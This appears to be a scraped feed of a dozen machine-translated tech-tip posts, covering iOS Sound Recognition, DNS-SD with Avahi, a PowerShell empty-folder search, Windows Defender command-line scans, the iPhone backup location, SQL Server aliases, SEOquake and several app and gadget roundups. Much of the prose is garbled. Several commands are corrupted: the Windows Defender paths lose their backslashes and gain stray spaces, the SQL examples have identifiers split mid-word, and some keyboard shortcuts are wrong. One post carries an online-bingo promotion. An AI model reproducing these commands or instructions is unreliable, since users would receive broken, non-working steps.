the Home button; on ‌‌iPhone‌‌ 8 or earlier, swipe up from the bottom of the screen and on an iPad Pro 2018 or ‌‌iPhone‌‌ X or later, swipe down from the top right of the screen).\nPress the Sound Recognition button to enable or disable the feature. You can also press and hold the button to change the sound the device will listen.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqqitnpl6s7HCqJ6noaSevK95xZ6Yra2imnqquoyipqxlYWk%3D\n","link":"/post/how-to-use-the-sound-recognition-feature-in-ios-14/","section":"post","tags":null,"title":"How to use the Sound Recognition feature in iOS 14"},{"body":"TipsMake.com - In essence, DNS Service Discovery (DNS-SD) is a part of Zeroconf networking system - with the function to allow servers and clients on the same network to exchange information and access data in LAN network without any settings or configurations .\nMost versions of Linux support the Avahi library for Zeroconf, but most users don't 'exploit' these advantages. In the following article, we together explore the basic setup steps to apply in the for DNS - SD model, initialize the automatic bookmark service, and all that is needed in this test is 1 Apache module and extension - Firefox extension.\nThe strength of the DNS - SD model is to support Zeroconf applications or hardware devices that transmit DNS SRV record (often used in static DNS systems to point to hosts and other connection ports). announcements, and any other components in the same network, only 'listen' and look for signals coming from here. This model has the function of sending signals through multicast - DNS (mDNS) - the protocol has 'origin' from regular DNS, but has a rather special way of operating, which is based on the based multicast addresses. on local and pseudo domains in local.\nThis system model is similar to Universal Plug-and-Play (UPnP) , except for the ability to manage and monitor more services, built directly above the DNS layer. The main technology platform of mDNS / DNS-SD is Apple, and with UPnP is Microsoft, so we can easily recognize the 'silent' competition of these two big guys is to stop supporting products. each other's. The user community desires to have a unified IETF protocol in the future, but at the moment mDNS / DNS-SD is still sufficient to meet the needs of the Avahi open source library that Linux users are still daily use.\nIn the Apple world, devices such as printers and chat clients use mDNS to inform themselves, you can refer here to learn more about the programs supported by system, including VoIP application for server and client (eg Asterisk) . And basically, any service can be recorded information via SRV record, only need to provide translation name case, data transfer protocol (TCP or UDP), port and hostname values ​​of the server are active. Besides, along with the proper configuration of server properties, DNS-SD blocks on the client system will automatically 'capture', sort and classify the services in the local that are being used by programs. In the Linux operating system, Avahi will 'listen' and record mDNS messages and messages, any 'favorite' client program will ask Avahi if any XMPP server exists. That's the whole basic process for making connections.\nRefer to some other services: We can easily imagine how DNS-SD makes it difficult for applications that are difficult to configure like VoIP, but if you are a beginner in this area, start with the familiar HTTP web server protocol. . For those who regularly use Linux, they can use many support tools such as phpMyAdmin, CUPS administration, Webmin .\nThe principle of consistency is that all web services we want to access can be made from more than 1 computer in the LAN system. You can access each machine or use synchronous tools such as Firefox Sync, Xmarks . but not guarantee the security in terms of security. But with Zeroconf networking , users will no longer have to worry about this problem anymore.\nAndrew Tunnell - Jones, a programmer has successfully written a small extension for Firefox to support DNS - SD. The main source code is stored in Github, but users can install the DNSSD utility for Firefox manually, requiring Firefox 4.0 or later (but so far no information is available). Any compatibility with Firefox 5.x). For the Linux operating system, Avahi still works well, and the Mac OS X user community will still be satisfied with Apple's Bonjour, and Windows users are similar with the Bonjour package for Windows. Apples.\nAfter restarting Firefox, this extension will add a menu called DNSSD to the Navigation bar and the Bookmarks menu. Click that, and we will see a list of all HTTP servers that are 'detected' by the Avahi or Bonjour service, no need to perform any further configuration or setup operations. If you want to check the extension list, then use the avahi-browse --all command from the Command Promt window.\nIn case you are using GNOME, you will see the warning information displayed whenever the system reviews the new service. We can change these settings in the Add - ons Manager Preferences section .\nBut in fact, users still encounter some shortcomings with this service. Firstly, the utility does not have the option to display the menu of the DNSS, followed by the fact that although we can access the DNSSD menu via Bookmarks, we cannot move and change the location of the utility. You can refer to mod_dnssd for more details.\nMod_dnssd is an Apache module that can add several functions to support mDNS / DNS-SD to websites built with Apache itself, with minimal number of operations, settings or configurations. The latest version is currently 0.6, fully supports Apache 2.2.\nTo use this module, we need to enable it by replacing the direct DNSSDEnable on character string in the Environment section of apache2.conf . With such independent configuration, Apache will conduct a full inspection of VirtualHosts via mDNS / DNS-SD . By default, mod_dnssd will verify Apache resources such as HTTP services.\nObviously, when we combine the functionality of Apache and Firefox, we can solve some of the problems of DNS - SD, along with the ability to support more HTTP services. However, users should also avoid some of the troubles caused by DNS - SD when automatically activated in the Intranet system, through which other users can easily discover this service. And so, we have to be careful when performing the setup process above, besides DNS-SD-based services can only be 'seen' for LAN client components, and in the case If you want to avoid other Wifi users, you should sort and sort into different subnet ranges. But in fact, there is still one condition for this service model, which is the requirement for Firefox - the client-side application. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabn6OzqrPUq6Cnn12Zu7R50p6pr6GTmnqltdKcpq%2Bdoq4%3D\n","link":"/post/instructions-for-configuring-dns-service-discovery/","section":"post","tags":null,"title":"Instructions for configuring DNS Service Discovery"},{"body":"The fantasy movie Power Rangers (5 superheroes) was released on March 24 and received a lot of positive feedback from viewers. And recently the movie version of this title game has also been released on Android and iOS called Power Rangers: Legacy Wars.\nIn Power Rangers: Legacy Wars, players will be selected in 30 characters and 4 different arenas. The more you play, the more characters you have to choose with the aim of forming a team to destroy the bad guys.\n  Players can upgrade their warriors with Zeo pieces. These pieces will be received after each level. Winning as many stages as possible gets more rewards.\n  Power Rangers: Legacy Wars also supports real-time PvP mode with other players. In this mode, you can plan, dodge and fight against other players, as well as unlock more arenas and different famous places on the movie.\n  You can even build an alliance with friends, where you can share, discuss, exchange tactics, strategies and combos. With beautiful graphics, Power Rangers: Legacy Wars deserves to be a good game to play and help you have a good time after stressful working and studying hours.\n  Power Rangers: Legacy Wars is currently free to download on Android and iOS.\nncG1vNJzZmismaXArq3KnmWcp51kvbDDxKtkq5menLKzv4ysrKmdomK9s7vDrpqtZZyatKKv2GaumqqjYrWiv4ybnJ6mXZm8uLrLqJidnZRis7C%2BjJ%2Bpnp1dpLturc2dqaihlGKur7CMoqas\n","link":"/post/legacy-wars-has-been-downloaded-for-free-on-android-and-ios/","section":"post","tags":null,"title":"Legacy Wars has been downloaded for free on Android and iOS"},{"body":"After a long time of using the computer (here I'm talking about is the Windows 10 operating system), after installing more software, as well as uninstalling software . often it will leave messages empty folders (these folders are folders containing temporary files or folders left over after you perform software removal).\nAlthough these empty folders usually do not have too much impact on the process of using the computer, leaving too many useless empty folders will also somewhat slow down data access from the hard drive, so I I recommend that you delete them.\nOf course you can find and delete them manually, but the reason is that these empty folders are often scattered all over the hard drive, so it is very difficult to delete them manually. not very feasible.\nThere are also some software to support this work, but if you do not want to use software, there is still a way for you.\nIn this article, I will show you how to delete empty folders on Windows 10 automatically without using software.\nHow to find and delete empty folders on Windows 10 using PowerShell In this article, we will use the PowerShell tool - a tool created by Microsoft with the purpose of replacing the traditional Command Prompt.\nIf the Command Prompt uses a fairly simple programming language, Powershell with the addition of Windows Scripting Host, VBScript, etc. will give you more rights to intervene in the Windows system more deeply. However, it is only suitable for IT administrators and professional users, because for most basic users, PowerShell's command lines are quite confusing and confusing, especially it distinguishes both uppercase and lowercase letters in the command.\nPerform:\n+ Step 1: First, you open Windows PowerShell with Administrator rights by right-clicking on the Start button =\u0026gt; and selecting Windows PowerShell (Admin).\nOr you can press the Windows + X key combination =\u0026gt; and then select Windows PowerShell (Admin) in the Menu that appears.\n  If the menu that pops up doesn't have PowerShell but is a Command Prompt, it's because you've turned it off in the settings.\nTo show it again, right-click on the Taskbar =\u0026gt; and select Taskbar Settings, in the settings window of this Taskbar =\u0026gt; scroll down and turn the switch OFF =\u0026gt; to ON in the line:\nReplace Command Prompt with Windows PowerShell in the menu when i right-click the start button or press Windows Key + X.\n  Or another way for those of you who do not want to change the settings is that you can enter the powershell command into the Windows 10 search box (to open the search box you use the Windows + S combination)\n=\u0026gt; Then right-click on the Windows PowerShell application in the search results =\u0026gt; And select Run as Administrator, you can also run PowerShell with Administrator rights on Windows 10.\n  + Step 2: Now copy and paste the command lines below into the Windows Powershell window =\u0026gt; and Enter to start searching for empty folders.\nRemember to replace the C: in the $SomePath= variable with the path of the drive, or directory where you want to check if it has an empty directory.\nThe following command:\n$SomePath='C:'\nGet-ChildItem -Path $SomePath -Recurse -Directory | ForEach-Object -Process {\nif ($false -eq $_.GetFileSystemInfos())\n{\n$_.FullName\n}\n}\n  Immediately, a list of multiple directories in the directory you specified in the $SomePath variable will appear.\n+ Step 3: Your job now is to access these paths with Windows Explorer (Windows + E) and delete it.\n  Similarly, if I want to check the Games folder in the D: drive, I will change the above code to: $SomePath='D:Games'…. =\u0026gt; then Enter is okay.\nWith this trick, you don't necessarily have to use Windows PowerShell with Admin rights, but if you run it normally, there will be a few system folders that PowerShell does not have access to to be able to detect empty folders.\nBesides, there are still folders that even if you run PowerShell as Administrator, it cannot be detected. Usually these are folders created by the Windows system to ensure operation, so if you find them, they should not be deleted.\nConclude So I have just instructed you in detail how to find and delete empty folders on Windows 10 without installing any 3rd party software. Hope this article will be useful to you. Good luck !\nPowerShell ncG1vNJzZmismaXArq3KnmWcp51kwKat0ZyfZpmemXqlscueq55llaK9tcWMn6alnJWnwG67zWauoqaUpMS0edSsoKefXaW8uLHRrJ%2BepJw%3D\n","link":"/post/search-and-delete-empty-folders-on-windows-using-powershell/","section":"post","tags":null,"title":"Search and delete empty folders on Windows using PowerShell"},{"body":"Today, the wifi security camera has become one of the indispensable items in homes, offices and factories. More specifically, these types of camcorders are also used to remotely monitor and monitor with telephone devices and computers connected to the network.\nDo you know the specialized software used to connect and view images of wifi cameras on phones and computers ? If not, let's explore the top of the popular applications with Quantrimang, compatible with all types of wireless cameras on the market.\nThe software, applications see Camera Wifi on computers, phones 1. Yoosee 2. V380 3. YYP2P 4. CareCam 5. P2PWifiCam How to connect Wifi Camera to phone, computer? 1. Yoosee Yoosee is one of the most popular wireless IP camera connection software today. This app is compatible with most surveillance camera brands on the market.\nIntuitive Vietnamese interface Yoosee application supports interface in Vietnamese. This makes it easy to perform operations in the control panel, avoiding unnecessary errors during connection and camera settings.\n  Connect your phone safely and securely To access the camera image, the user must enter a username and password. You now do not need to worry about security and privacy issues while using the camera, because everything is still under your control.\nEfficient anti-theft remote, superior features The camera uses Yoosee connection software that allows users to set up remote theft protection. Besides sirens, Yoosee also automatically sends warning letters to users' mailboxes and smart face recognition, which is very helpful in preventing and preventing bad intentions of crooks.\nSupport Android or iOS operating system Yoosee is currently available on Google Play and Apple's AppStore. You absolutely can download this application completely free of charge without any extra cost.\nVery simple, just type the keyword \"Yoosee\" in the application store of your phone, you can download and use this software already.\n2. V380 Another popular camera app you should mind installing on your phone is the V380 software that can be installed directly on Android and iOS.\nEasily connect via QR code scan Installing the application with your home CCTV will be much more convenient by scanning the QR code (preprinted on the packaging box or on the back of the camera) to connect the device on the phone.\n  Share multi-platform camera images V380 allows you to share recorded images for other mobile devices and computers. To access the images, you need to have the device's ID and Password connected. This makes it possible to monitor and view the camera anytime, anywhere, while ensuring safety, security and privacy.\nHowever, the V380 software still has some disadvantages such as: The interface on some operating systems still does not support Vietnamese, the image quality obtained from some types of camera does not meet the Full HD standard, . .\nTo use V380, you can look up the keyword \"V380\" on the Google Play app store and Apple AppStore on your phone.\n3. YYP2P Currently on the market there are many camera devices that support YYP2P software connection via phones and PCs. So what makes this app so popular? Let's learn with Quantrimang:\nFriendly interface in Vietnamese YYP2P supports Vietnamese interface for users. This makes operation on the control panel easier and more convenient for everyone, especially for the elderly.\n  Effective anti-theft feature One of the smart features of YYP2P is the ability to effectively alarm and anti-theft (through activating motion detection sensor and warning horn from camera). It also automatically sends an alarm to your device, your computer when detecting suspicious signs.\nIn addition, YYP2P is compatible and can connect with many different camera products on the market, regardless of high-end or affordable. You can download the software for free on Google Play and AppStore.\n4. CareCam CareCam is a very popular wifi camera connection application. On the market today, there are many security surveillance devices that use CareCam software to mediate the remote connection between the phone and the camera. Therefore, it is extremely necessary that you install this application.\nCareCam stands out with features like:\nConnect the camera system with just one controller Wherever you are, you can use CareCam to connect the camera system in the home as well as in the office. Observing indoors, outdoor supervision, looking after the house, taking care of children are no longer a problem that you must be too concerned about.\n  Data storage in the cloud CareCam integrates data storage on cloud computing platforms. You can record and monitor 24/7, 365 days with a full memory source.\nEffective anti-theft tool CareCam can automatically alert the user to indoor movements through the Motion Alert function . More specifically, this alert is not only expressed as a message but is visually expressed through GIF animations. This makes it easier to recognize alerts than traditional alarms.\nYou can refer to the camera models that use CareCam software to connect computers and phones such as: CareCam CC665B Camera, CareCamCC785B and 2 types of cameras with CareCam CC635B motion detection and high-end CC575W series.\n5. P2PWifiCam Another application commonly used to connect and track data on Wifi Camera, is P2PWifiCam .\n  Features of this software are easy-to-use interface, the ability to view multiple cameras simultaneously and the alarm system automatically when abnormal behavior in the observation area.\nYou can use this software completely free on Android and iOS operating systems. P2PWifiCam is compatible with many camera brands in the market, such as Siepem, .\nHow to connect Wifi Camera to phone, computer? Connecting Wifi Camera with software on your phone or computer is very simple, you can install it yourself without having to call a technician or consultant. You can immediately refer to the instruction manual on how to connect the camera device to a phone, a computer, or find out how to install on a phone specifically for cameras that support Yoosee software here.\nIn addition, if you want to learn more about Camera Wifi, such as which brand to buy, categorize the camera series or suggest the address to buy genuine equipment, the advice on what to know about Wifi Camera is definitely will be a reliable manual for you.\nHopefully, the above information will be a helpful suggestion to help you make a wise choice in finding and buying security surveillance camera equipment in the future.\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcrKGjYryneZRmqqiepKyus7GMn6arZaaesri1zaBksKGWnnqkrcyeqZqrXaS7bq%2FOpqeurJWnerG0zqecrA%3D%3D\n","link":"/post/synthesis-of-5-software-for-viewing-wifi-cameras-on-computer-phones/","section":"post","tags":null,"title":"Synthesis of 5 software for viewing wifi cameras on computer phones"},{"body":"In this article, Tipsmake will summarize the top 5 FPS game increaser software for Windows 10, 11.\n1. Razer Cortex: Game Booster   This is the most popular FPS booster software for PC, it helps to shut down applications in the background when you play games. This way, your computer's CPU, GPU, and RAM only focus on your game.\nThe automatic acceleration feature will allow the software to start automatically every time you start playing the game. The software will ensure higher FPS rate and faster loading time. Razer Cortex is easy to use and offers many exceptional benefits for a superior gaming experience.\n2. WTFast   WTFast is a great choice to increase FPS for PC if you often experience lag and high ping. The software will optimize your PC as fast as possible. WTFast is especially suitable for online games as it focuses on increasing internet speed for smooth gaming experience.\nWith WTFast, you will find that FPS is guaranteed to be stable and ping is reduced to be able to handle combat situations, fire and explosion in the game effectively. This is a paid software, but it also offers a free trial version for you to enjoy great acceleration features.\n3. Advanced System Optimizer   This is a versatile protection and enhancement software. ASO cleans junk files and temporary files to keep your PC running smoothly. The software is also very easy to use, all you need to do is schedule it to scan for unnecessary files.\nThe software not only makes games load faster, but also ensures the computer is working properly. Notable optimization features include: Game Optimizer, Memory Optimizer (frees up RAM) and Improve Game Performance (improves gaming experience). Also included are PC protection and drive data backup features. You will have it all in one.\n4. MSI Afterburner   MSI Afterburner is a great FPS booster for Windows 10 computers. It allows you to control fan speed, GPU voltage and GPU frequency, helping you get the most out of your graphics card. You also get access to overclocking options.\nMSI Afterburner can also be used as a hardware monitoring program. You will easily see information about voltage, clock speed and overall usage. All free.\n5. Game Fire 6   Game Fire 6 is powerful enough to dramatically improve your gaming experience. The software will quickly detect programs that are active in the background to temporarily turn them off while you play games. More specifically, it also displays applications that you can choose to disable or not during the start of the game.\nFurthermore, Game Fire 6 also allocates CPU, GPU and RAM resources to best suit your game. Using the software is also very simple, when you start playing the game, you just need to press Turn On Game Mode, then experience the game!\nConclude No one likes to play games when they have to experience lag and frequent FPS drops. To solve this problem, use the FPS reduction software mentioned in the article. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krKeWqcSivsRmq6hlmaOws7HArJxmn5Gism6yz6xkn6eiYsSqusOorqxlYWV6cn0%3D\n","link":"/post/top-5-software-to-increase-game-fps-for-windows-10-11/","section":"post","tags":null,"title":"Top 5 software to increase game FPS for Windows 10, 11"},{"body":"At IFA 2013, Toshiba has officially launched their cheap Satellite Click hybrid model. Satellite Click has a 13-inch screen with a removable keyboard design.\nInside we have a 500 GB hard drive, while the keyboard dock is integrated with additional batteries to help when mounting the dock will extend the battery life for the device.\n  The design of the machine is no longer strange that we have seen in many products from last year until now. It is worth noting that Toshiba decided to choose AMD's Temash processor for Satellite Click - the chip platform with the high graphics power that we had the opportunity to know.\nHowever, the chip model on the Click is a 2-1200 1 GHz 2-1200 model with Radeon HD 8180 graphics, not the 4-core model we see in the demo video. Temash is the chip that AMD promises to compete with Intel's Atom and Core i3 chips. And unlike Core i3 chips for tablets, Temash allows manufacturers to create tablet designs that don't need a fan.\nClick cost starting at 599 USD , 150 USD cheaper than HP Split X2 using Core i3 chip and also 13 inch screen, 500 GB hard drive. For a cheap price, of course, users have to trade some things that the Satellite Click is battery life. Toshiba says it has a battery life of 3 to 4 hours if used in tablet mode. If you add a keyboard dock, the battery life increases by 6 to 7 hours.\nIn addition, Toshiba also launched a Click version for the European market and named it Satellite W30t . The Satellite W30t will use Intel's Core chip, not an AMD chip.\n        ncG1vNJzZmismaXArq3KnmWcp51kwbC%2Fx6KZmmWZo8Gzu8Oump6rXaiutbHLpaCtnV2YuaqvymaZnqxdpLturcydZJygmaXA\n","link":"/post/toshiba-introduces-satellite-click-bet-on-amd-chips/","section":"post","tags":null,"title":"Toshiba introduces Satellite Click, 'bet' on AMD chips"},{"body":"Windows Defender is a free antivirus software that Microsoft has created to combat malware on computers. This security software is integrated on Windows 10 and Windows 8.1. Windows Defender will find and remove viruses, spyware (spyware), rootkits and bootkits and some other malicious code on your computer.\nIn the following article, Network Administrator will guide you how to use Windows Defender with Command Prompt on Windows 10.\n1. Manipulate Windows Defender with Command Prompt The following commands use MSASCui.exe to allow you to update or run different scan modes of Windows Defender.\nFirst press Windows + I key combination to open Power User Menu, then click Command Prompt (Admin).\nTo activate the next update, enter the following command into the Command Prompt window and press Enter:\n\"% ProgramFiles% Windows DefenderMSASCui.exe\" -UpdateAndQuickScan\n  To download and install updates (update) of Windows Defender, enter the command below and press Enter:\n\"% ProgramFiles% Windows DefenderMSASCui.exe\" -Update\nTo use Windows Defender to scan the system quickly, enter the command below and press Enter:\n\"% ProgramFiles% Windows DefenderMSASCui.exe\" --QuickScan\nTo scan the entire system , enter the following command into the Command Prompt window and press Enter:\n\"% ProgramFiles% Windows DefenderMSASCui.exe\" -FullScan\nAlso you can -hide at the end of each command to prevent Windows Defender from opening.\nFor example: \"C: Program FilesWindows DefenderMSASCui.exe\" -UpdateAndQuickScan -hide.\n2. Use Windows Defender to run in the background with Command Prompt Windows Defender also integrates the utility MpCmdRun.exe, you can use to automatically run or run Windows Defender \" silently \" without having to launch the Desktop Client.\nFirst press Windows + I key combination to open Power User Menu, then click Command Prompt (Admin).\nTo activate the update, enter the following command into the Command Prompt window and press Enter:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -SignatureUpdate\nTo use Windows Defender to scan the system quickly, enter the command below and press Enter:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -Scan -ScanType 1\n  To scan the entire system, enter the following command into the Command Prompt window and press Enter:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -Scan -ScanType 3\nTo customize scanning a file or a folder instead of scanning the entire system, enter the following command and press Enter:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -Scan -ScanType 3 -File PATH-TO-FILE-OR-FOLDER\nSuppose to scan all files and directories in the Public folder, use the following command:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -Scan -ScanType 3 -File C: UsersPublic\nIn addition, you can scan and remove malicious code that attacks the boot sector using the command:\n\"% ProgramFiles% Windows DefenderMpCmdRun.exe\" -Scan -ScanType -BootSectorScan\nRefer to some of the following articles: Here's how to completely disable Windows Defender on Windows 10, 7 and Windows Vista Windows Defender is disabled or inactive, this is a fix The cause of the error cannot open Windows Defender on Widows 7/8/10 and how to fix it Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjLCgp5yfrMBusMSfnKeclad6uLXToWScp52irq%2BwjKmpqKWgqXqwuoywoKecn6zAbn2P\n","link":"/post/use-windows-defender-with-command-prompt-on-windows-10/","section":"post","tags":null,"title":"Use Windows Defender with Command Prompt on Windows 10"},{"body":"Have you ever been curious about how the iPhone backup file on Windows 10 is located? Let's find out where the iPhone backup file will be located on Windows 10 in the article below!\n  First, you need to backup your iPhone by opening iTunes and connecting your iPhone to the computer. Then choose This Computer (1) =\u0026gt; Back Up Now (2) =\u0026gt; Done (3) .\n  Then click on Apply to apply the backup to your computer.\n  Method 1: Access the backup folder manually Step 1: Once you have the backup, let's find out where that backup goes. You press Windows + R to open the Run dialog box and enter the following command.\n% appdata%\nNext, click OK to finish.\n  Step 2: You access the Apple Computer folder .\n  Then open the MobileSync folder .\n  Step 2: Here we have the Backup folder which is the folder containing the Backup files on our iPhone. If you do not have a regular backup routine on Windows, you can delete this folder to save memory.\n  Method 2: Access the Backup folder automatically and quickly First, open This PC (1)  and enter the address (2) after C: Users [computer name] AppDataRoamingApple ComputerMobileSyncBackup\nWith [computer name] is the User name on your computer.\nAfter accessing the above path, you will open the Backup folder of iTunes and can access the backup files on it.\n  With the guide in the article, you certainly know where the iPhone backup file on Windows 10 is, right? Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kxKmx0Z5koqtdqbWmecipn6imlWKvoq%2FKrqdmnpmhsm64zpyYrZ2UYryvedaipZ2np6h6cnw%3D\n","link":"/post/where-is-the-iphone-backup-file-located-on-windows-10/","section":"post","tags":null,"title":"Where is the iPhone backup file located on Windows 10?"},{"body":"As a result, many people turn to WiFi extenders, which instead cover up to 2,500 feet. In pondering whether or not to take a chance on extenders, gamers generally ask the following question: do they actually work? Well, here's everything that you need to know to maximize your online bingo and multiplayer gaming experiences.\nWidespread Coverage for High-Quality Gaming\u0026nbsp; As mentioned above, a WiFi extender provides far greater coverage than a router. Of course, signal strength is dependent on numerous factors, including network speeds and router quality. As per High Speed Internet, a top-drawer router won't aid network speed, but it can create faster internet. For those who play online games, for example, maximizing performance is of utmost importance. For complete coverage, homeowners can use numerous plug-in extenders throughout their property.\u0026nbsp;\n  Source: Unsplash\nIn turn, this ensures that gamers can continue to enjoy their favorite titles without being hindered by a router's network range. Nowadays, this is arguably more important than ever before, with increasing numbers of developments being played out in real-time. For example,\u0026nbsp;some of the most popular online bingo games\u0026nbsp;occur on a live basis. At the platform, registered users can participate in Crystal Room, Deal or No Deal, Speed Trap, and other jackpot bingo rooms with varying buy-in rates. These real-time offerings showcase that, without full WiFi coverage, players run the risk of missing out simply by playing on non-extended networks.\u0026nbsp;\nHow Do They Compare to Mesh WiFi?\u0026nbsp; Currently, there are two types of WiFi extenders available to consumers: desktop and plug-in. As per NetSpotApp, plug-in extenders do work, although their proximity to electrical wires and walls means that their strength isn't immune to signal interference. However, by placing the booster in an optimal spot, it's straightforward to maximize performance. Online bingo players and multiplayer gamers can take comfort from the fact that range extenders do work. That said, effectiveness is subject to various factors, including\u0026nbsp;whether or not your home network is congested.\u0026nbsp;\n  \"Google Mesh WiFi\"\u0026nbsp;(CC BY 2.0)\u0026nbsp;by\u0026nbsp;Wesley Fryer\nThe last thing that anyway wants is to be midway through a first-person shooter or on the brink of bingo success, and the internet drops out. Instead of extenders, alternate products are available, including Mesh WiFi. This system creates\u0026nbsp;one network by combining numerous devices, known as nodes, throughout a household. For those who play games while moving around, Mesh Wifi may work better as you aren't continually disconnecting and reconnecting to extenders and routers when moving from room to room.\u0026nbsp;\nExtenders May Solve Your Network Issues\u0026nbsp; Extenders aren't perfect, but they can drastically improve home network connectivity. Compared to Mesh systems, boosters are generally cheaper and easier to set up. Although they can pick up interference, they're reliable and affordable, and that's not something to overlook. While having to reconnect isn't ideal, it's a small price to pay for full internet coverage.\nwifi mesh Gaming ncG1vNJzZmismaXArq3KnmWcp51kxKqyyGacsayVo7GmvtJmnaiqXZyurrXNoGSdp12ptabFjLCmq6M%3D\n","link":"/post/wifi-extenders-for-gaming-do-they-work/","section":"post","tags":null,"title":"Wifi Extenders for Gaming: Do They Work?"},{"body":"ALIASES in SQL Server is used to create temporary names (called aliases) for columns or tables.\nCOLUMN ALIASES is used to create column headers in results for easy viewing TABLE ALIASES is used to shorten SQL for easier readability or when you need to manually connect (for example, listing the same table more than once in the FROM clause). Syntax for ALIASES alias Syntax to set alias for column\n ten _cot [ AS ] bi_danh  or set the alias for the table\n ten_bang [AS] bi_danh  Variable name or variable value ten_cot\nThe original name of the column to which you want the alias\nten_bang\nThe original name of the table to which you want the alias\nAS\noption. Most programmers use the keyword AS when setting the alias for the column but not when setting the table. Whether it is used or not, it does not affect the alias in MySQL. Unlike other databases, this is an optional option in MySQL. (The examples below will use AS when setting aliases for columns and removing AS when setting tables).\nbi_danh\ntemporary names set for columns or tables.\nNote\nIf bi_danh contains spaces, it must be placed in quotation marks. You can use spaces when setting aliases for columns. But often, do not use spaces when setting tables. The bi-name is only valid in SQL statements. For example - set the alias for the column\nOften aliases are used to create column headers in results that are easy to see.\n SELECT  nhanvien_id, ten + ho AS NAME FROM nhanvien WHERE ten = 'Sarah';  In this example, we set the alias for the second column (ie, combining the first and last name) as NAME. In the result, NAME will be the title of the second column. Because the above bi_danh has no spaces, no quotes are needed. But if you want, use this mark.\n SELECT nh anvien_id, ten + ho AS 'NAME' FROM nhanvien WHERE ten = 'S arah';  This is another example that needs to put bi_danh in quotation marks.\n SELECT nhanvie n_id, ten + ho AS 'TEN NHAN VIEN' FROM nhanvien WHERE ten = 'Sara h';  In this example, the second column in the result is set to TEN NHAN VIEN.\nFor example - set the alias for the table\nSetting the alias for the table can be used to list a table more than once in the FROM clause (or self-connect) or shorten the table name to make it easier to read.\n SELECT s.sanp ham_ten, hangtonkho.chatluong FROM sanpham s INNER JOIN hangtonkho ON s.sanpham_id = hangtonkho.sanpham_id ORDER BY s.tsanph am_ten ASC, hangtonkho.chatluong DESC;  The above example creates an alias for the sanpham table which is s. Now in the SQL statement, it is possible to call the sanpham table s. When creating a table alias, it is not necessary to create an alias for all tables given in the FROM clause. For example, create an alias for the hangtonkho table as shown below.\n SELECT s.sanpham_ten, h.ch atluong FROM sanpham s INNER JOIN hangtonkho h ON s.sanpham_id = h.sanpham_id ORDER BY s.sanpham_ten ASC, h.chatluong DESC;  The hangtonkho board is called h and the sanpham board is called s.\nPrevious article: Conditions NOT in SQL Server\nNext lesson: JOIN in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51krq21wKxkoqZdqL6tedKeqa%2Bdog%3D%3D\n","link":"/post/alias-in-sql-server/","section":"post","tags":null,"title":"ALIAS in SQL Server"},{"body":"SEO Quake is one of the best tools to help with checking and diagnosing websites. Seoquake helps SEOers have an overview of the website to shape the work to be done, thereby providing the most optimal Seo website process.\nStructure of a standard SEO Google website In this article, we will focus on explaining and providing an optimal approach to each element in the Seoquake diagnostic tool - Seoquake Diagnosis.\nWe will take the example on the website of An Phat accounting training center.\n  1. URL - Explanation : Url is the link displayed on google when users search.\n- Optimal method :\n+ URL contains keywords that need SEO. For example, in this case, Seo keyword \" learn tax accounting \", then my url is in the form of: https://ketoanaz.edu.vn/hoc-ke-toan-thue.html\n+ The words in the url are separated by a dash \"-\".\n+ Number of characters in url 2. Title Is the title of the website ( or article ) displayed on google when users search.\n3. Meta description Is the card describing the overview of the website. Description tags are displayed below the title when users search.\n4. Meta keywords Keywords for search engines. However, Meta keywords now has no value in SEO or very low value so I ignore the optimization.\n  5. Heading Includes H1-H6 tags that emphasize important content inside the site, thereby enhancing the website's Seo capabilities.\n6. Image The card informs about the optimal status of images in the website.\n7. Text / HTML Ratio Text Ratio is the amount of text retrieved and displayed compared to the entire returned HTML code.Text / HTML Ratio\u0026gt; 50% will be considered as optimal.\n8. Frame The format in HTML helps to display multiple documents on a browser window. Frame makes makeup more beautiful for website. Note that the website needs Seo to minimize the use of Frame.\n  9. Flash A graphic application that is widely used on websites ( replacing boring images ) to increase the interactivity and attractiveness of the message content to display. However, using a lot of Flash will make the page load speed become slow and one important drawback is that Google reads and understands Flash very poorly. Website determined to do SEO, it is better not to use Flash.\n10. Robot.txt Google navigation file, allows Google Bot to index (index) content inside the website.\n11. XML sitemap Sitemap is a diagram that lists all the information items ( links ) within the support site for Google Bot to easily move and index all content within.\n12. Language Language file\n  13. Doctype Doctype only tells the web browser which version of the markup language is used in the website. Here I use HTML5.\n14. Encoding Like translating language. The standard format contains many different languages ​​called codecs, using dictionaries you will translate them into other \" lighter, easier to understand \" languages ​​by encoders.\n15. Google Analytics Statistical analysis tool for website visitors.\n16. Microformats A format that identifies a specific type of information, such as a business address, article, event, or personal information. The most used Microformat format in Seo is Schema. You can check if Google sees what format you apply to the site using the Rich Snippet Testing Tool.\n17. Dublin Core Is a standard for describing data written by meta tags that help define specific and explicit annotations for bots that can collect data. Installing Dublin Core will help SE appreciate the content you write.\n  18. Geo Meta Tags In case you deploy a local Seo campaign, configuring the Geo Meta Tags is essential. Geo Meta card provides the machines to find the exact information about the city, locality, latitude, longitude of the business.\nYou can visit the Geo Tag Generator website to create a Geo Meta code for your website and paste it between 2 pairs of tags inside the site. In case you do not deploy local Seo, it is not necessary to configure this card.\n19. Feeds Feed, allow other websites to get data automatically on your site - One of the ways to create natural backlinks.\n20. Favicon The image is displayed ( usually the logo ) on the browser tab bar.\n21. Name Server The server name performs the DNS protocol service.\n(*) Notes :\n- Green area symbol: Has been optimally optimized\n- Yellow brick icon: Medium optimal\n- Red X symbol: Not good\nConclusion Understanding and appreciating the importance of elements in the Seoquake diagnostic tool will help you get the most overview on the website's page which is making Seo update and add more knowledge of making Seo. 